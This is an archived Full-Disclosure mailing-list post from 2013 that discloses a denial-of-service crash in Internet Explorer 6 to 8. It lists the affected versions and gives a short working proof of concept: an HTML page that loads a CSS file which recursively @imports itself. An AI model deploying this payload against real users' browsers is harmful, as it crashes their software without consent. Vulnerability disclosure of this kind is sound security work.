full-disclosure - DoS vulnerability in Internet Explorer (access violation)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <006201ce35e9$c62727b0$9b7a6fd5@pc>
Date: Wed, 10 Apr 2013 15:48:54 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>,
 "1337 Exploit DataBase" <mr.inj3ct0r@...il.com>
Subject: DoS vulnerability in Internet Explorer (access
	violation)

Hello list!

I want to warn you about Denial of Service vulnerabilities in Internet
Explorer. This is access violation.

I've made the exploit and tested this vulnerability at 13.02.2013. This
exploit is based on video by TheSecuritylab for IE7. As I've tested, it also
works in IE6 and IE8.

-------------------------
Affected products:
-------------------------

Vulnerable are Internet Explorer 6 (6.0.2900.2180), Internet Explorer 7
(7.00.5730.13), Internet Explorer 8.0 (8.00.6001.18702) and previous
versions of these browsers. IE9 is not affected (Microsoft fixed this hole).

----------
Details:
----------

Denial of Service (WASC-10):

Browser crashes at recursive including of css-file. It happens due to access
violation (aka segmentation fault) in iexplore.exe. Also it's important for
the crash that css-file has short name. For exploit to work in IE6 it's
needed to refresh the page.

PoC / Exploit:

IE_DoS_Exploit.html

<link href="dos.css" rel="stylesheet" type="text/css">

dos.css

@import url("dos.css");
@import url("dos.css");
@import url("dos.css");
@import url("dos.css");
@import url("dos.css");

Video PoC:

Internet Explorer CSS Denial of Service Vulnerability
http://www.youtube.com/watch?v=eihStRWnrX4

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/